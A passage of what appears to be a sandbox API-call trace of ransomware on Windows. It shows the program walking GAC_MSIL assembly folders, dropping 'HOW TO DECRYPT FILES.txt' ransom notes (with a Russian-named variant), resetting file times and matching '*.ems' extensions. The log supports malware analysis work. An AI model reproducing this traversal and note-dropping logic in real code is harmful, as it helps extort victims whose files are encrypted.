lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a5a21d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a5a21d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a5a21d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.PowerPoint.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0101.167] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.167] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a5a21d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c8c850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c8c850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0101.167] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.167] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c8c850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c8c850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c8c850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6769, dwReserved1=0x69006c, cFileName="Policy.12.0.Microsoft.Office.Interop.Publisher", cAlternateFileName="POLICY~2.PUB")) returned 1 [0101.167] lstrcmpA (lpString1=".", lpString2="Policy.12.0.Microsoft.Office.Interop.Publisher") returned -1 [0101.168] lstrcmpA (lpString1="..", lpString2="Policy.12.0.Microsoft.Office.Interop.Publisher") returned -1 [0101.168] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.168] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.12.0.Microsoft.Office.Interop.Publisher" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher" [0101.168] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c8c850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c8c850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c8c850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.169] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.169] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c8c850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c8c850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c8c850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.169] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.169] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.169] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a76b250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c8c850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c8c850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0101.169] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0101.169] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0101.169] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\*.*") returned="*.*" [0101.169] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c" [0101.169] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a76b250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c8c850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c8c850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.173] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.173] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a76b250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c8c850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c8c850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.173] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.173] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.173] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d0d0ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x38a, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.Publisher.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0101.174] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.174] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Publisher.config") returned -1 [0101.174] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Publisher.config") returned -1 [0101.174] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.Publisher.config") returned -1 [0101.174] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0101.174] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\" [0101.174] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.174] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.174] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.publisher\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0101.174] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.publisher\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.177] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.177] CloseHandle (hObject=0x90) returned 1 [0101.177] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.Publisher.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Publisher.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Publisher.config" [0101.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Publisher.config", pszSpec="*.ems") returned 0 [0101.178] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a76b250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a76b250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a76b250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.Publisher.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0101.178] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.178] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Publisher.dll") returned -1 [0101.178] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Publisher.dll") returned -1 [0101.178] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.Publisher.dll") returned -1 [0101.178] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Publisher.config") returned="Policy.12.0.Microsoft.Office.Interop.Publisher.config" [0101.178] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\" [0101.178] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.178] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.178] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.publisher\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0101.178] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.Publisher.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Publisher.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Publisher.dll" [0101.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Publisher.dll", pszSpec="*.ems") returned 0 [0101.179] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a76b250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a76b250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a76b250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.Publisher.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0101.179] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.179] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a76b250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c8c850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c8c850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0101.179] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.179] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6568650, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6568650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6568650, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0067, dwReserved1=0x69006c, cFileName="Policy.12.0.Microsoft.Office.Interop.SmartTag", cAlternateFileName="POLICY~2.SMA")) returned 1 [0101.180] lstrcmpA (lpString1=".", lpString2="Policy.12.0.Microsoft.Office.Interop.SmartTag") returned -1 [0101.180] lstrcmpA (lpString1="..", lpString2="Policy.12.0.Microsoft.Office.Interop.SmartTag") returned -1 [0101.180] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.180] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.12.0.Microsoft.Office.Interop.SmartTag" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag" [0101.180] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6568650, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6568650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6568650, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.180] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.181] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6568650, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6568650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6568650, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.181] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.181] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.181] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59460250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa65424f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa65424f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0101.181] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0101.181] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0101.181] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\*.*") returned="*.*" [0101.181] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c" [0101.181] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59460250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa65424f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa65424f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.184] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.184] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59460250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa65424f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa65424f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.184] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.184] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.184] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59460250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x59460250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x59460250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x388, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.SmartTag.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0101.184] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.184] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.SmartTag.config") returned -1 [0101.184] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.SmartTag.config") returned -1 [0101.184] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.SmartTag.config") returned -1 [0101.185] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0101.185] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\" [0101.185] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.185] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.185] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.smarttag\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0101.185] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.smarttag\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.187] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.188] CloseHandle (hObject=0x90) returned 1 [0101.188] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.SmartTag.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.SmartTag.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.SmartTag.config" [0101.188] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.SmartTag.config", pszSpec="*.ems") returned 0 [0101.188] FindNextFileA (in: 